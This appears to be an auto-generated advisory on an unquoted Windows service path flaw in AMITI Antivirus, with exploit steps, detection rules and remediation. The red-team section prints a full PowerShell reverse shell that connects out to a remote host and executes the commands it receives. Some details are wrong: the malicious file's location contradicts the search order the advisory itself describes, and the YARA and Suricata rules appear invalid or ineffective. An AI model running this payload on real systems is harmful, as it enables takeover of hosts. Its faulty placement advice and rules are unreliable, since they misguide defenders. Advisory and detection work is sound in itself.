CVE-2016-20058

Executive Summary

CVE-2016-20058 is a high-severity (CVSS 7.8) local privilege escalation vulnerability in Netgate AMITI Antivirus build 23.0.305. The flaw resides in the unquoted service path of the AmitiAvSrv and AmitiAntivirusHealth services. A local attacker can place a malicious executable in the unquoted path, and upon service restart or system reboot, the executable runs with LocalSystem privileges, granting full control over the host. No patch has been publicly released, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows service path issue in a proprietary antivirus product.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – attacker must have local access.
• Attack Complexity: Low (AC:L) – no special conditions.
• Privileges Required: Low (PR:L) – attacker needs a standard user account.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality, Integrity, Availability: All High (C:H/I:H/A:H) – full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path (CWE-428). Windows services are defined with a path to an executable. If the path contains spaces and is not enclosed in quotes, Windows interprets the path ambiguously. For example, if the service path is C:\Program Files\AMITI Antivirus\AmitiAvSrv.exe, Windows will attempt to execute C:\Program.exe first (if it exists), then C:\Program Files\AMITI.exe, etc. An attacker can place a malicious executable named Program.exe or AMITI.exe in a location that Windows will search before the intended executable.

In this case, the services AmitiAvSrv and AmitiAntivirusHealth have unquoted paths. A local attacker with write access to a directory in the path (e.g., C:\Program Files\AMITI Antivirus\) can drop a malicious executable. When the service starts (e.g., after a reboot or manual restart), the malicious code runs with LocalSystem privileges.

Vulnerable vs. Patched Code

Vulnerable Service Configuration (Unquoted Path):

sc qc AmitiAvSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AmitiAvSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\AMITI Antivirus\AmitiAvSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AMITI Antivirus Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Patched Configuration (Quoted Path):

sc qc AmitiAvSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AmitiAvSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\AMITI Antivirus\AmitiAvSrv.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AMITI Antivirus Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

The fix is to enclose the binary path in double quotes.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a Windows host with AMITI Antivirus build 23.0.305 installed.
• Write access to C:\Program Files\AMITI Antivirus\ (or a parent directory in the unquoted path).
• Ability to trigger a service restart or system reboot.

Exploit Steps:

1. Identify vulnerable services:

   wmic service where "pathname like '% %' and not pathname like '\"%%\"'" get name,pathname,startname
   

2. Create a malicious executable (e.g., AMITI.exe) that spawns a reverse shell or adds a local admin user.
3. Place the executable in C:\Program Files\AMITI Antivirus\AMITI.exe.
4. Trigger service restart:

   sc stop AmitiAvSrv
   sc start AmitiAvSrv
   

   Or reboot the system:

   shutdown /r /t 0
   

5. Receive elevated shell as LocalSystem.

Example Payload (PowerShell reverse shell):

$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor service path changes using Windows Event ID 7045 (service creation) or 4697 (service installed).
2. Audit unquoted service paths regularly:

   wmic service where "pathname like '% %' and not pathname like '\"%%\"'" get name,pathname,startname
   

3. Restrict write permissions to C:\Program Files\AMITI Antivirus\ to only Administrators.
4. Enable Windows Defender Attack Surface Reduction (ASR) rules for blocking untrusted executables from running from writable paths.
5. Use Sysmon to detect process creation from suspicious paths (Event ID 1).

Indicators of Compromise (IOCs)

• File: C:\Program Files\AMITI Antivirus\AMITI.exe (or any executable placed in the unquoted path)
• Process: AMITI.exe running from C:\Program Files\AMITI Antivirus\
• Service: AmitiAvSrv or AmitiAntivirusHealth with unquoted binary path
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\AmitiAvSrv\ImagePath containing unquoted path
• Event Logs: Windows Event ID 7045 (service creation) or 4697 (service installed) with suspicious path

Detection Engineering

YARA Rule

rule CVE_2016_20058_UnquotedServicePath {
    meta:
        description = "Detects unquoted service path for AMITI Antivirus services"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2016-20058"
    strings:
        $s1 = "AmitiAvSrv" nocase
        $s2 = "AmitiAntivirusHealth" nocase
        $s3 = "C:\\Program Files\\AMITI Antivirus\\" nocase
    condition:
        (uint16(0) == 0x5A4D) and (any of ($s*)) and not ($s3 contains "\"")
}

Sigma Rule

title: Unquoted Service Path Exploitation - AMITI Antivirus
id: 7b8f9a1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects service creation or modification with unquoted path for AMITI Antivirus services
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2016-20058
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID:
            - 7045
            - 4697
        ServiceName:
            - 'AmitiAvSrv'
            - 'AmitiAntivirusHealth'
        ImagePath|contains: 'C:\Program Files\AMITI Antivirus\'
        ImagePath|endswith: '.exe'
        ImagePath|re: '^[^"]+ .+\.exe$'
    condition: selection
falsepositives:
    - Legitimate service path changes by administrators
level: high
tags:
    - attack.privilege_escalation
    - attack.t1574

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2016-20058 AMITI Antivirus Unquoted Service Path Exploit"; flow:to_server,established; content:"AMITI.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service paths using sc config:

   sc config AmitiAvSrv binPath= "\"C:\Program Files\AMITI Antivirus\AmitiAvSrv.exe\""
   sc config AmitiAntivirusHealth binPath= "\"C:\Program Files\AMITI Antivirus\AmitiAntivirusHealth.exe\""
   

2. Restrict write permissions to the service binary directory to Administrators only.
3. Monitor for suspicious process creation from C:\Program Files\AMITI Antivirus\.

Long-Term Fix:

• Contact Netgate for an official patch. If unavailable, consider replacing the antivirus product with a supported alternative.

Compensating Controls:

• Enable Windows Defender ASR rules to block untrusted executables.
• Use AppLocker or WDAC to allow only signed executables.
• Implement least privilege for local users.

Valters IT

{/* [Security Hash: 65B084B589F78EBFB3502B2F] */}